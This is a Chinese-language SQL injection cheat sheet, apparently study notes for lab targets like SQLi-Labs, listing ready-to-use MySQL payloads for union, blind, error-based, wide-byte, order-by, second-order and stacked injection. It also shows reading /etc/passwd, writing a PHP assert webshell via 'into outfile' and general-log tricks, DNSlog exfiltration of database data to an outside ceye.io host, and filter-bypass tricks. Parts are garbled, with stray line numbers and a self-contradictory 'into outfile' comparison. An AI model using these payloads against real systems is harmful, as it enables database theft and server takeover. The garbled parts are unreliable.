

1、MYSQL注入

常用符号

注释符

注释符	说明
#url 编码:%23	单行注释在 URL 中#表示锚点，也就是 hash 路由，带上#不会请求后端路由，而是刷新前端路由
-- x	单行注释 x 为任意字符，这里表示有一个空格
/**/	多行(内联)注释

常用运算符

运算符	说明
&&	同 and
!	同 not
^	异或，同 xor
\	转义符
~	一元比特反转
+	加，可替代空格

常见全局变量

变量	说明
@@VERSION	返回版本信息
@@GLOBAL.VERSION	同 @@VERSION
@@HOSTNAME	返回安装的计算机名称
@@BASEDIR	返回 MYSQL 绝对路径

常用函数

系统函数信息

函数	说明
USER()	获取当前操作句柄的用户名，同 SESSION_USER()、CURRENT_USER()，有时也用 SYSTEM_USER()。
DATABASE()	获取当前选择的数据库名，同 SCHEMA()
VERSION()	获取当前版本信息。

进制转换

函数	说明
ORD(str)	返回字符串第一个字符的 ASCII 值。
OCT(N)	以字符串形式返回 N 的八进制数，N 是一个 BIGINT 型数值，作用相当于 CONV(N,10,8)。
HEX(N_S)	参数为字符串时，返回 N_or_S 的 16 进制字符串形式，为数字时，返回其 16 进制数形式。
UNHEX(str)	HEX(str)的逆向函数。将参数中的每一对 16 进制数字都转换为 10 进制数字，然后再转换成 ASCII 码所对应的字符。
BIN(N)	返回十进制数值 N 的二进制数值的字符串表现形式。
ASCII(str)	同 ORD(string)。
CONV(N,from_base,to_base)	将数值型参数 N 由初始进制 from_base 转换为目标进制 to_base 的形式并返回。
CHAR(N,... [USING charset_name])	将每一个参数 N 都解释为整数，返回由这些整数在 ASCII 码中所对应字符所组成的字符串。

字符串截取/拼接

函数	说明
SUBSTR(str,N_start,N_length)	对指定字符串进行截取，为 SUBSTRING 的简单版。
SUBSTRING()	多种格式 SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len)。
RIGHT(str,len)	对指定字符串从最右边截取指定长度。
LEFT(str,len)	对指定字符串从最左边截取指定长度。

RPAD(str,len,padstr)	在 str 右方补齐 len 位的字符串 padstr，返回新字符串。如果 str 长度大于 len，则返回值的长度将缩减到 len 所指定的长度。
LPAD(str,len,padstr)	与 RPAD 相似，在 str 左边补齐。
MID(str,pos,len)	同于 SUBSTRING(str,pos,len)。
INSERT(str,pos,len,newstr)	在原始字符串 str 中，将自左数第 pos 位开始，长度为 len 个字符的字符串替换为新字符串 newstr，然后返回经过替换后的字符串。 INSERT(str,len,1,0x0)可当做截取函数。
CONCAT(str1,str2...)	函数用于将多个字符串合并为一个字符串
GROUP_CONCAT(...)	返回一个字符串结果，该结果由分组中的值连接组合而成。
MAKE_SET(bits,str1,str2,...)	根据参数 1，返回所输入其他的参数值。可用作布尔盲注，如： EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710'))。

其他常见函数

函数/语句	说明
IF(exp,state1,state2)	条件语句，exp 为 true，执行 state1，否则执行 state2
CASE...WHEN exp THEN state1 ELSE state2 END	同 IF
SLEEP(N)	休眠 N 秒
BENCHMARK(count,exp):	执行表达式 exp，count 次（消耗 CPU）
LENGTH(str)	返回字符串的长度。
PI()	返回 π 的具体数值。
REGEXP "statement"	正则匹配数据，返回值为布尔值。
LIKE "statement"	匹配数据，% 代表任意内容。返回值为布尔值。
RLIKE "statement"	与 regexp 相同。
LOCATE(substr,str,[pos])	返回子字符串第一次出现的位置。
POSITION(substr IN str)	等同于 LOCATE()。
LOWER(str)	将字符串的大写字母全部转成小写。同：LCASE(str)。

UPPER(str)	将字符串的小写字母全部转成大写。同：UCASE(str)。
ELT(N,str1,str2,str3,...)	与 MAKE_SET(bit,str1,str2...)类似，根据 N 返回参数值。
NULLIF(expr1,expr2)	若 expr1 与 expr2 相同，则返回 expr1，否则返回 NULL。
CHARSET(str)	返回字符串使用的字符集。
DECODE(crypt_str,pass_str)	使用 pass_str 作为密码，解密加密字符串 crypt_str。加密函数：ENCODE(str,pass_str)。

常用语句

获取数据库版本

```
select version();
```

获取当前用户

```
select user();
```

获取所有数据库

```
select schema_name from information_schema.schemata;
```

获取当前数据库

```
select database();
```

读写文件

LOAD_FILE()

```
1  # 在MySQL中，LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
2  select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt')
3
4  select load_file('/etc/hosts')
5
6  例如上面的例子是有条件限制的：
7
8  1、必须有权限读取并且文件必须完全可读。
9
10  and (select count(*) from mysql.user)>0 /*如果结果返回正常，说明具有读写权限。*/
11
```

```
12 and (select count(*) from mysql.user)>0 /* 返回错误，应该是管理员给数据库账户降权了*/
13
14 2、欲读取文件必须在服务器上
15
16 3、必须指定文件完整的路径
17
18 4、欲读取文件必须小于max_allowed_packet
19
20 如果该文件不存在，或因为上面的任一原因而不能被读出，函数返回空。比较难满足的就是权限。
21
22 在windows下，如果NTFS设置得当，是不能读取相关的文件的，当遇到administrators才能访问的文件，
23
24 users就不能实现用load_file读取文件了。
```

导出函数

```
1 【1】Mysql select into outfile命令
2
3 在Mysql中，与load data infile命令作用相反的一个命令是select into outfile命令
4
5 select into outfile 命令作用将查询结果输出保存到一个文件中
6
7 例如：
8 select into outfile 'C:/1.txt '
9 #在写路径的时候，斜杠使用/，以免出现\n的清空
```

获取用户

```
desc mysql.user
select from mysql.user
```

获取当前数据库的表名

只有MySQL5.0 以上的版本才有information_schema库，5.0以前的要使用暴力破解的方式获取

```
select table_name from information_schema.tables where table_schema = database()
```

获取当前数据库的某表的列名

```
select column_name from information_schema.columns where table_name = 'users'
```

获取当前数据库某表的值

```
select id ,username,password from users;
```

注入基础

联合注入

```
1  //1. 获取库名
2  ?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata
3
4  //2. 通过库名获取表名
5  ?id=-1 union select 1,group_concat(table_name) ,3 from information_schema.tables where
   table_schema='pikachu'
6  //这里的字符串可以使用十六进制代替
7
8  //3. 获取字段名
9  ?id=-1 union select 1,group_concat(column_name) ,3 from information_schema.columns
   where table_schema='pikachu' and table_name='users'
10
11 //4. 查询数据
12 ?id=-1 union select 1,2 ,group_concat(password) from pikachu.users  -- 这里要使用库
   名.表名
13
```

盲注

利用条件，让返回的内容/相应时间与正常页面不同。

布尔盲注

不仅有and 运算，还有 ^ （异或运算）

常用函数

- ascii() 返回指定字符的 ascii 码值
- count() 计算结果集的数量
- length() 返回指定字符串的长度
- substr/substring(str,pos,length) 返回截取的字字符串

一般流程

- 求闭合字符
- 求当前数据库长度
- 求当前数据库 ascii 码值

- 求表名的数量
- 求表名的长度
- 求表名的 ascii 码值
- 求列名的数量
- 求列名的长度
- 求列名的 ascii 码值
- 求字段的数量
- 求字段的长度
- 求字段的 ascii 码值

获取数据库长度

```

1 ?id=1' and (length(database())=8) --+
2 ?id=1'and (length(database())>7) --+
3 ?id=-1' or (length(database())>7) --+
4 # 也可以用大于小于来判断

```

求得数据库名字

```

1 ?id=1' and (left(database(),1)='s') --+ #从左向右截取一个字符?
2
3 id=1'and (left(database(),2)='se') --+ #从左向右截取两个字符
4
5 ?id=1' and ascii(substr(database(),1,1)) = 115 --+
6 #从第一个字符开始截取一个字符，也就是第一个字符是's',对应的 ascii 码是 115
7
8 ?id=1' and ascii(substr(database(),2,1)) =101--+
9 #从第二个字符开始截取一个字符，也就是第二个字符'e',对应的 ascii 码是 101
10
11 ?id=1' and ascii(substr(database(),1,1)) < 115 --+
12 #也可以用 <> 来比较查找

```

求当前数据库中当前表的数量

```

1 ?id=1' and 4=(select count(table_name) from information_schema.tables where
table_schema=database()) --+
2 ?id=1' and 4=(select count(table_name) from information_schema.tables where
table_schema='security') --+

```

求当前数据库表名的长度

```
1 ?id=1' and ascii(substr((select table_name from information_schema.tables where
  table_schema='security' limit 0,1),7,1)) --+
2 #表名的长度就是 substr 函数中的 7-1=6,这里是针对 security 数据库的第一个表 emails
3
4 ?id=1'and ascii(substr((select table_name from information_schema.tables where
  table_schema='security' limit1,1),7,1)) --+
5 #limit 1,1 就是 security 中得到第二个表
6
7 ?id=1' and (length((select table_name from information_schema.tables where
  table_schema='security' limit 0,1) )=6) --+
8 #第二种方法使用 length 来测数据库表名的长度,通过 limit 来控制是哪一个表
9
10 ?id=1'and (length((select table_name from information_schema.tables where
  table_schema='security' limit 1,1) )=8) --+
```

求当前数据库表名

```
1 #格式为: ascii(substr(xxx limit x,1),x,1) ,对递增依次 猜解
2
3 ?id=1' and ascii(substr((select table_name from information_schema.tables where
  table_schema=database() limit 0,1),1,1))=101 --+
4 #对 security 数据库中的第一个表的第一个字符进行 ascii 的猜解
5
6 ?id=1'and ascii(substr((select table_name from information_schema.tables where
  table_schema=database() limit 0,1),2,1))=109 --+
7 #对 security 数据库中的第一个表的第二个字符进行 ascii 的猜解
```

dump字段值

```
1 ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1)) = 67--+
2 ?id=1' and ascii(substr((select concat(username,':',password) from security.users
  limit0,1),1,1)) = 68--+
```

python脚本

时间盲注

通过判断页面返回内容的响应时间差异进行条件判断。

通常可利用的产生时间延迟的函数有：sleep()、benchmark()，还有许多进行复杂运算的函数也可以当做延迟的判断标准、笛卡尔积合并数据表、复杂正则表达式等等。

常用函数

- if(1,2,3): 如果 1 为 True，则执行 2，否则执行 3
- sleep(x): 延迟 x 秒之后执行
- ascii(char): 将字符转换为对应的 ascii 码
- substr(str,pos,len): 将字符串从 pos 位开始截取 len 长度
- Benchmark(count,exp): 执行表达式 exp，count 次（消耗 CPU，数据库性能测试相关函数）
- case ... when ... then ... else ... end

```
1 SELECT CASE WHEN business_id = 1 THEN visit_content
2         WHEN 1 = 2 THEN '1等于2'
3         WHEN 1 = 3 THEN '1等于3'
4         ELSE '其他等式'
5         END '等式结果' FROM crm.`business`
6
```

时间盲注场景

- 第一种情况：无论输入什么都只显示无信息页面，如登录页面。这种情况下可能只有登录失败页面，错误页面被屏蔽了，并且在没有密码的情况下，登录成功的页面一般情况也不知道。在这种情况下有可能基于时间的 SQL 注入会有效
- 第二种情况：无论输入什么都只显示正常信息页面。例如，采集登录用户信息的模块页面，采集用户的 IP，浏览器类型，referer 字段，session 字段，无论用户输入什么，都显示正常页面相关注入手法同布尔盲注。

Benchmark(count,exp)

```
1 select BENCHMARK(1000000,md5('a'));
```

笛卡尔积

```
1 select *from users where id =1 and (select count(*) from information_schema.columns
A,information_schema.columns B,information_schema.columns C);
```

2

3 //由于笛卡尔积的运算量过大，因此会消耗很长的时间执行，达到和sleep的效果

报错注入

服务器开启报错信息返回，也就是发生错误时返回报错信息，通过特殊函数的错误使用使其参数被页面输出。

- 报错函数通常有最长报错输出的限制，面对这种情况，可以进行分割输出。
- 特殊函数的特殊参数运行一个字段、一行数据的返回，使用 group_concat 等函数聚合数据即可。

exp()

函数语法：exp(int x) 返回 e^x 。返回e的x次方

适用范围：



在 mysql >= 5.5.53 时，则不能返回查询结果；

在版本号为 5.5.47 上可以用来注入：

e 的 x 次方到 x 每增加 1，其结果都将跨度极大，而 mysql 能记录的 double 数值范围有限，一旦结果超过范围，则该函数报错。

将 0 按位取反，~0，可以看到取值为 18446744073709551615，这个值就比 709 要大很多很多，所以再利用 mysql 函数正常取值之后会返回 0 的特性，那么当函数执行成功，然后按位取反之后得到的值直接造成 double 型溢出。

```
1 select exp(~(select * from (select version())x));
2 ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.47-
0ubuntu0.14.04.1' from dual)))'
3
4
5 exp()函数套用两层的子查询的原因：
6 1 先查询 select user() 这里的语句，将这里面查询出来的数据作为一个结果集 取名为 a
7 2 再 select from a 查询 a，将结果集 a 全部查询出来；这里必须使用嵌套，因为不使用嵌套不加
select from 无法大整数溢出。
```

ExtractValue()



函数语法：extractvalue(xml_frag, xpath_expr)

适用范围：5.1.5+

报错原理:Xpath 格式语法书写错误的话，就会报错。

- 1 `ExtractValue(xml_frag, xpath_expr)` 接受两个字符串参数，一个XML标记片段 `xml_frag` 和一个XPath表达式 `xpath_expr`（也称为 定位器）；它返回CDATA第一个文本节点的text（），该节点是XPath表达式匹配的元素子元素。
- 2 第一个参数可以传入目标xml文档，第二个参数是用Xpath路径法表示的查找路径

报错原理

- 1 如何让extractvalue()这个函数产设错误并报告？那么自然需要在使用过程中有语法错误，怎么去创造这个语法错误使得这个错误变得万能呢？就是使用这个语法中本身不含有或者不支持的字符。
- 2 例如：`SELECT ExtractValue('<a>', '/a/b')`；就是寻找前一段xml文档内容中的a节点下的b节点，这里如果Xpath格式语法书写错误的话，就会报错。这里就是利用这个特性来获得我们想要知道的内容。
- 3 在ASCII码表中，0x7e这个十六进制数代表符号~，~这个符号在xpath语法中是不存在的，因此总能报错。同理，肯定也有其他字符是XPATh语法不支持的。！也是不支持的，因此也可以使用。

```
1 SELECT EXTRACTVALUE('1',CONCAT(0x7e,DATABASE()),0x7e))
```



由于此报错注入和 updatexml 都只能爆最大 32 位，如果要爆出 32 位之后的数据，需要借助 mid 函数进行字符截取从而显示 32 位以后的数据

mid 函数

mid(column_name, start , length)

参数	描述
column_name	必需。要提取字符的字段
start	必需。开始位置
length	可选。要返回的字符数。如果省略，则 MID() 函数返回剩余文本

```
1 SELECT MID('abcdefg',1,3)
2 #得到 abc
```

```

3
4  ?id=1' and extractvalue(1,mid(concat(0x23,(SELECT group_concat(table_name) from
information_schema.tables where table_schema = database()),0x23),1,32))--+
5
6

```

updatexml()



函数语法: updatexml(XML_document,XPath_String,new_value)

适用范围: 5.1.5+

报错原理:

Xpath 格式语法书写错误的话, 就会报错, 同 extractValue()

payload

```

1  updatexml(1,concat(0x23,user(),0x23),1)
2  ?id=1' and updatexml(1, mid(concat(0x23,(SELECT group_concat(table_name) from
information_schema.tables where table_schema = database()),0x23),1,32), 1)

```

floor() 报错

相关函数:

- floor() 函数, 向下取整
- rand() 函数, 取随机数 (在0到1之间), 若有参数 x, 则每个 x 对应一个固定的值, 如果连续多次执行会变化, 但是可以预测
- floor(rand(0) * 2) 产生的序列为 011011...



报错原理:

*** (2023-02-14 不理解)

利用数据库表主键不能重复的原理, 使用 GROUP BY 分组, 产生主键 key 冗余, 导致报错

[group by 原理](#)

●GROUP BY 原理

FROM user_info: 该句执行后, 结果就是原来的表 (原数据表)

FROM user_info GROUP BY name: 该句执行后, 我们想象 生成了虚拟表 3, 如下所示

生成过程是这样的：group by name，那么找 name 那一列，具有相同 name 值的行，合并成一行，如对于 name 值为 aa 的，那么 <1 aa 2> 与 <2 aa 3> 两行合并成 1 行，所有的 id 值和 number 值写到一个单元格里面

已知表 users 如下

ID	NAME
1	AA
2	AA
3	BB

那么利用 floor(rand(0) * 2) 这个函数的返回值，进行分组，因为序列为 011011...

那么构建 SQL 语句

(*版本为8.0.27已经修复了floor报错*)

```
SELECT COUNT(*), floor(RAND(0)*2) as x from users GROUP BY x
```

查询第一条记录，别名 x 产生 键值 0，当键值 0 不存在虚拟表时，执行插入,此时别名 x 是一个函数，是变量，在执行插入时，按照 GROUP BY 分组之时 又要执行 floor 函数，得到 1，故向虚拟表中插入键值 1，count = 1

COUNT	x
1	1

查询第二条记录，别名 x 产生键值 1，虚拟表中存在 1，则令 count + 1 = 2

COUNT	x
2	1

查询第三条记录，别名 x 产生键值 0，键值 0 不存在临时表，执行插入，别名 x 再次执行得键值 1，由于 1 存在于临时表，那么插入之后如下表所示

COUNT	x
2	1
1	1

由于数据库主键唯一性，现在临时表中存在两个键值为 1，主键冗余，所以报错

由于数据库报错会将报错原因展示出来，故利用报错来实现注入

由上知，要保证 floor 报错注入，那么必须 保证数据库必须大于三条数据

```
1
2 #获取数据库
3 SELECT * FROM users WHERE id = 1 AND (SELECT 1 FROM (SELECT
COUNT(*),CONCAT(0x23,DATABASE(),0x23,FLOOR(RAND(0)*2)) AS X FROM
information_schema.`COLUMNS` GROUP BY X) AS Y)
4
5 -- 由于 and 后要跟 1 或者 0，所以构造 sql 语句 select 1，其中 concat()函数是用来连接字符串
的函数，因为 information_schema.'columns'的数据是大于 3 条，所以会出现报错，报错结果或将别
名 x 的信息展示出来，展示信息为#(数据库名称)
6
7
8 # 爆表
9 SELECT * FROM users WHERE id = 1
10 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x23,(SELECT table_name FROM
information_schema.`TABLES` WHERE table_schema = DATABASE() LIMIT
0,1),0x23,FLOOR(RAND(0)*2)) AS X
11 FROM information_schema.`COLUMNS` GROUP BY X) AS Y)
```

几何函数

●GeometryCollection: [解释](#)

条件：5.5<mysql版本<5.6

?id=1 and geometrycollection((select * from(select * from (操作代码)a)b))

●polygon():

id=1 AND polygon((select * from(select * from(select user())a)b))

●multipoint():

id=1 AND multipoint((select * from(select * from(select user())a)b))

●multilinestring():

id=1 AND multilinestring((select * from(select * from(select user())a)b))

●linestring():

id=1 AND LINESTRING((select * from(select * from(select user())a)b))

●multipolygon() :

id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在的函数

随便使用不存在的函数，可能会得到当前所在数据库的名称

BIGINT


当 mysql 数据库的某些边界数值进行数值运算时，会报错的原理。

如~0 得到的结果：18446744073709551615

若此数参与运算，则很容易会错误。

```
1 SELECT * FROM test.users WHERE id = 1 AND (SELECT !(SELECT * FROM(SELECT
MID(GROUP_CONCAT(table_name),10,32) FROM information_schema.tables WHERE table_schema =
DATABASE())a)--0);
```

name_const()

 报错原理：

mysql 列名重复会导致报错,通过 name_const 制造一个列

我们可以利用 mysql 列名重复会导致报错这个原理，配合笛卡尔积查询得到列名

局限：仅可取数据库版本信息

```
1 SELECT * FROM users WHERE id = 1 AND (SELECT * FROM(SELECT
NAME_CONST(VERSION(),0x1),NAME_CONST(VERSION(),0x1))a);
2
3 #Duplicate column name '8.0.27'
```

UUID

适用于版本：8.0.x



虽然UUID（）值是旨在独一无二，它们不一定是不可猜测的或不可预测。如果需要不可预测性，UUID值应该以其他方式生成。

UUID: Universally Unique Identifier 通用 唯一 标识符

对于所有的UUID它可以保证在空间和时间上的唯一性。它是通过MAC地址，时间戳，命名空间，随机数，伪随机数来保证生成ID的唯一性，有着固定的大小(128bit)。它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID。UUID可以被用作多种用途，既可以用来短时间内标记一个对象，也可以可靠的辨别网络中的持久性对象。

MySQL 提供了函数 uuid_to_bin，把 UUID 字符串变为 16 个字节的二进制串。类似于某些数据库（比如 PostgreSQL）的 UUID 类型。函数 uuid_to_bin 返回数据类型为 varbinary(16)。

```
1 SELECT * FROM test.`users` WHERE id=1
2 AND UUID_TO_BIN((SELECT GROUP_CONCAT(table_name) FROM information_schema.`TABLES` WHERE
  table_schema=DATABASE() LIMIT 0,1));
```

GTID()

[报错注入全部总结](#)

宽字节注入



原理：

举个例子，以 SQLi-Labs Less33 为例

使用了 **GBK 编码** 会认为两个字符为一个汉字，所以可以使用一些字符和转义过后多出来的\组合两个字符，使得数据库不识别字符，对单引号、双引号的转义失败

eg: %df'and 转移后为 \'and 数据库编码后: xx and

形成过程

当 PHP 连接 MYSQL 时，当设置 character_set_client = gbk 时会导致 GBK 编码转换的问题，当注入的参数里带有 %df(%bf)时，在魔术引号开关或者 addslashes() 函数的作用下，会将 %df%27 转换为 %df%5c%27，此时 %df%5c 在会解析成一个汉字，从而“吃掉”反斜杠，单引号因此逃逸出来闭合语句

根本原因

character_set_client（客户端字符集）和 character_set_connection（连接层的字符集）不同，或转换函数如 iconv,mb_convert_encoding 使用不当

addslashes 函数将会把接收到的 id 的字符进行转义处理。如：

- 字符 '、"、\、NULL 前边会被添加上一条反斜杠 \ 作为转义字符
- 多个空格被过滤成一个空格

```
1 #当 id 的字符串被转义之后，就会出现如下所示的 SQL 语义（查询 id'#的数据）
2 select * from users where id = '1\'#';
3
4 #看上去没有办法注入，但是我们看下面的代码：
5 $conn->query("set names 'gbk';");
6 // => SQL SET character_set_client = 'gbk';
7 SET character_set_results = 'gbk';
```



```
8 SET character_set_connection = 'gbk';
9
```

payload 1:

```
1 ?id=1 %df%27 and 1=1 %23
2
3
4 #拼接后的语句为:
5 SELECT * FROM users WHERE id='1' and 1=1 #' LIMIT 0,1
```

payload 2:

? id=1 %e5%5c %27 and 1=1 --+



为了避免漏洞，网站一般会设置 UTF-8 编码，然后进行转义过滤。但是由于一些不经意的字符集转换，又会导致漏洞

使用 set name UTF-8 指定了 utf-8 字符集，并且也使用转义函数进行转义。有时候，为了避免乱码，会将一些用户提交的 GBK 字符使用 iconv()函数先转为 UTF-8，然后再拼接 SQL 语句。

? id=1 %e5%5c %27 and 1=1 --+

%e5%5c 是 gbk 编码，转换为 UTF-8 编码是 %e9%8c%a6 （把用户提交的GBK转换成 UTF-8）

%e5%5c%27 首先从 gbk 编码经过 addslashes 函数之后变成 %e5%5c%5c%5c%27，再通过 iconv()将其转换为 UTF-8 编码，%e9%8c%a6%5c%5c%27，其中 %e9%8c%a6 是汉字，%5c%5c%27 解码之后是'第一个\将第二个\转义，使得 %27 单引号逃逸，成功闭合语句

order by 注入



order by 注入通常出现在排序中，前端展示的表格，某一列需要进行升序或者降序排列，或者做排名比较的时候常常会用到 order by 排序，order by 在 select 语句中，紧跟在 where [where condition]后，且 order by 注入无法使用预编译来防御，由于 order by 后面需要紧跟 column_name，而预编译是参数化字符串，而 order by 后面紧跟字符串就会提示语法错误，通常防御 order by 注入需要使用白名单的方式。

以 SQLi-Labs Less46 为例

通过 order by 列名，根据排序返回的情况来判断是否存在，或者使用超大数，构成 SQL 语句错误

```
1 ?sort=rand()  
2 ?sort=rand(1=1)  
3 ?sort=rand(1=2)  
4 ?sort=9999
```

基于盲注

返回多条记录导致报错

```
1 ?sort=(select 1 union select 2)  
2 ?sort=IF(1=1,1,(select 1 from information_schema.tables)) //正确  
3 ?sort=IF(1=2,1,(select 1 from information_schema.tables)) //错误  
4  
5 SELECT *FROM users ORDER BY IF((盲注操作)),1,(SELECT 1 FROM  
  information_schema.`TABLES`))  
6  
7 SELECT *FROM users ORDER BY IF(1=2,1,(SELECT 1 FROM information_schema.`TABLES`))  
8 // 错误代码: 1242  
  Subquery returns more than 1 row
```

regexp

```
1 ?sort=(select 1 regexp if(1=1,1,0x00)) // 正确  
2  
3 ?sort=(select 1 regexp if(1=2,1,0x00)) // 错误  
4  
5 ?sort=(select 1 regexp if((盲注操作)),1,0x00)) // 正确  
6
```

二次注入



二次注入就是攻击者构造的恶意 payload 首先会被服务器存储在数据库中，在之后取出数据库在进行 SQL 语句拼接时产生的 SQL 注入问题。

创建用户执行 insert 操作的关键代码，mysql_escape_string 对传入的参数进行了转义，导致无法 sql 注入

```
1 $username= mysql_escape_string($_POST['username']) ;
2 #   admin'# ==>  admin \'# ==>  存入数据库的数据是:  admin'#
3 $pass= mysql_escape_string($_POST['password']);
4 $re_pass= mysql_escape_string($_POST['re_password']);
5 ...
6 if ($pass==$re_pass){
7 # Building up the query.....
8 $sql =
9 "insert into users ( username, password) values(\"$username\", \"$pass\")";
10 }
```

登录的关键代码，这里将登录之后的用户名给了 session

```
1 function sqllogin(){
2     $username = mysql_real_escape_string($_POST["login_user"]);
3     $password = mysql_real_escape_string($_POST["login_password"]);
4     $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
5     $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
6     $row = mysql_fetch_row($res);
7     if ($row[1]) {
8         $_SESSION["username"] = $login; //$row[1] username
9         //从数据库取出的数据:  admin'#
10        setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
11        header('Location: logged-in.php');
12    } else {
13        return 0;
14    }
15 }
```

修改密码关键的代码，从 session 里取用户名，将其带入 update SQL 语句中

```
1 $username= $_SESSION["username"]; //username= admin'#
2 $curr_pass= mysql_real_escape_string($_POST['current_password']);
3 $pass= mysql_real_escape_string($_POST['password']);
```

```

4 $re_pass= mysql_real_escape_string($_POST['re_password']);
5 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and
  password='$curr_pass' ";
6
7 UPDATE users SET PASSWORD=123 where username='admin' #' and password='$curr_pass'
8 #成功修改admin的账户。
9

```

在这里可以看到，SQL 注入是存在于修改密码处，session['username'] 可控，当用户登录之后，就将用户名存起来了，而用户名又是用户自定义的，当自定义的用户名可以更改 SQL 语义的时候，就可以完成注入。当在登录，注册处，都无法注入成功的时候，构造用户名 admin'#，当被 session 保存下来，再进行修改密码的时候，此时 SQL 语句如下所示

```

1 UPDATE users SET PASSWORD=123 where username='admin' #' and password='$curr_pass'
2
3 用于判断用户当前密码的语义被注释，导致不用输入用户当前密码，就可以更改 admin 用户的密码

```

堆叠注入

简单的说，由于分号 ; 为 MYSQL 语句的结束符。若在支持多语句执行的情况下，可利用此方法执行其他恶意语句，如 RENAME、DROP 等。

注意，通常多语句执行时，若前条语句已返回数据，则之后的语句返回的数据通常无法返回前端页面。建议使用 union 联合注入，若无法使用联合注入，可考虑使用 RENAME 关键字，将想要的数据库列名/表名更改成返回数据的 SQL 语句所定义的表/列名。

文件读/写

Mysql 是很灵活的，它支持文件读/写功能。在讲这之前，有必要介绍下什么是 file_priv 和 secure-file-priv。

file_priv

简单的说：file_priv 是对于用户的文件读写权限，若无权限则不能进行文件读写操作，可通过下述 payload 查询权限。

```

1 select file_priv from mysql.user where user=$USER host=$HOST;

```

secure-file-priv 是一个系统变量，对于文件读/写功能进行限制。具体如下：

- 无内容，表示无限制。
- 为 NULL，表示禁止文件读/写。
- 为目录名，表示仅允许对特定目录的文件进行读/写。

5.5.53 本身及之后的版本默认值为 NULL，之前的版本无内容。

secure-file-priv

三种方法查看当前 secure-file-priv 的值：

```
1 select @@secure_file_priv;
2 select @@global.secure_file_priv;
3 show variables like "secure_file_priv";
```

修改 secure-file-priv 值:

```
1 通过修改 my.ini 文件, 添加: secure-file-priv=
2 启动项添加参数: mysqld.exe --secure-file-priv=
```

读文件

在确定了用户有读, 写权限之后, 一般使用 load_file()函数来读取文件内容

```
1 select load_file(file_path); -- file_path 为绝对路径
2
3 #记得把路径转义 。 \\ 或 /
```

```
1 load data infile "/etc/passwd" into table test FIELDS TERMINATED BY'\n';
2 --读取服务端上的文件
3 # 把/etc/passwd 内容放到test表中
4
5 SELECT * FROM test
```

写文件

```
1 select 1, " @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
2 select 2, " @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
```

那么 into outfile 和 into outfile 有什么区别呢?

- into outfile 是导出所有数据, 适合导出库
- into outfile 只能导出一行数据

限制:

- secure-file-priv 无值或为可利用的目录
- 需知道目标目录的绝对目录地址
- 目标目录可写, mysql 的权限足够。

日志包含

由于 mysql 在 5.5.53 版本之后，secure-file-priv 的值默认为 NULL，这使得正常读取文件的操作基本不可行。我们这里可以利用 mysql 生成日志文件的方法来绕过。

mysql 日志文件的一些相关设置可以直接通过命令来进行：

```
1 //请求日志
2 mysql> set global general_log_file = '/var/www/html/1.php';
3 mysql> set global general_log = on;
4 //慢查询日志
5 mysql> set global slow_query_log_file='/var/www/html/2.php'
6 mysql> set global slow_query_log=1;
7 //还有其他很多日志都可以进行利用...
```

之后让数据库执行满足记录条件的恶意语句即可，具体可查看 phpmyadmin 通过日志写入 webshell 相关的教程。

[参考文档](#)

限制：

- 权限够，可以进行日志的设置操作
- 知道目标目录的绝对路径

DNSlog 外带数据盲注

DNSLOG，简单的说，就是关于特定网站的 DNS 查询的一份记录表。若 A 用户对 B 网站进行访问/请求等操作，首先会去查询 B 网站的 DNS 记录，由于 B 网站是被我们控制的，便可以通过某些方法记录下 A 用户对于 B 网站的 DNS 记录信息。此方法也称为 OOB 注入。

如何用 DNSLOG 带出数据？若我们想要查询的数据为：aabbcc，那么我们让 mysql 服务端去请求 aabbcc.evil.com，通过记录 evil.com 的 DNS 记录，就可以得到数据：aabbcc。

此处就是攻击者可以控制的地

应用场景：

- 三大注入无法使用
- 有文件读取权限及 secure-file-priv 无值。
- 不知道网站/目标文件/目标目录的绝对路径
- 目标系统为 Windows

payload:

```
1 SELECT LOAD_FILE(CONCAT('\\\\\\',(SELECT USER()),'.kvzpla.ceye.io\\adsa.txt'))
2
3 SELECT LOAD_FILE(CONCAT('///',(SELECT USER()),'.kvzpla.ceye.io/adsa'))
4
5
6 SELECT LOAD_FILE(CONCAT('///',(REPLACE((SELECT
  USER()),"@","_"),'.kvzpla.ceye.io/adsa'))
7
```

8

9 顺便一提，域名里还有一个规则，就是只能出现数字，字母，下划线等数据。所以如果在获取到的信息中包含了其他特殊符号时，`load_file()`就会认为是一个错误的域名，就不会去从网络中解析了。虽然如此但是方法总是有的比如`replace`替换，最后得到的数据我们再换回即可。

10

11 `http://ceye.io/records/dns`

12

为什么 Windows 可用，Linux 不行？这里涉及到一个叫 UNC 的知识点。简单的说，在 Windows 中，路径以 \ 开头的路径在 Windows 中被定义为 UNC 路径，相当于网络硬盘一样的存在，所以我们填写域名的话，Windows 会先进行 DNS 查询。但是对于 Linux 来说，并没有这一标准，所以 DNSLOG 在 Linux 环境不适用。

在域名的后面，我们需要拼接一个文件名，这是因为`load_file`函数只能请求文件，如果不加后面的文件名，同样无法得到显示。

[UNC](#)

注：payload 里的四个\\中的两个\是用来进行转义处理的。

MySQL防御和绕过

过滤与拦截

过滤指的是，我们输入的部分内容在拼接SQL语句之前被程序删除掉了，接着将过滤之后的内容拼接到SQL语句并继续与数据库通信。

而拦截指的是：若检测到指定的内容存在，则直接返回拦截页面，同时不会进行拼接SQL语句并与数据库通信的操作。

若程序设置的是过滤，**则若过滤的字符不为单字符，则可以使用双写绕过。**

举个例子：程序过滤掉了union这一关键词，我们可以使用ununionion来绕过。

PS：一般检测方法都是利用的正则，注意观察正则匹配时，**是否忽略大小写匹配，若不忽略，直接使用大小写混搭即可绕过。**

一些小tips

联合查询处，order by 被拦截 使用group by

无列名注入

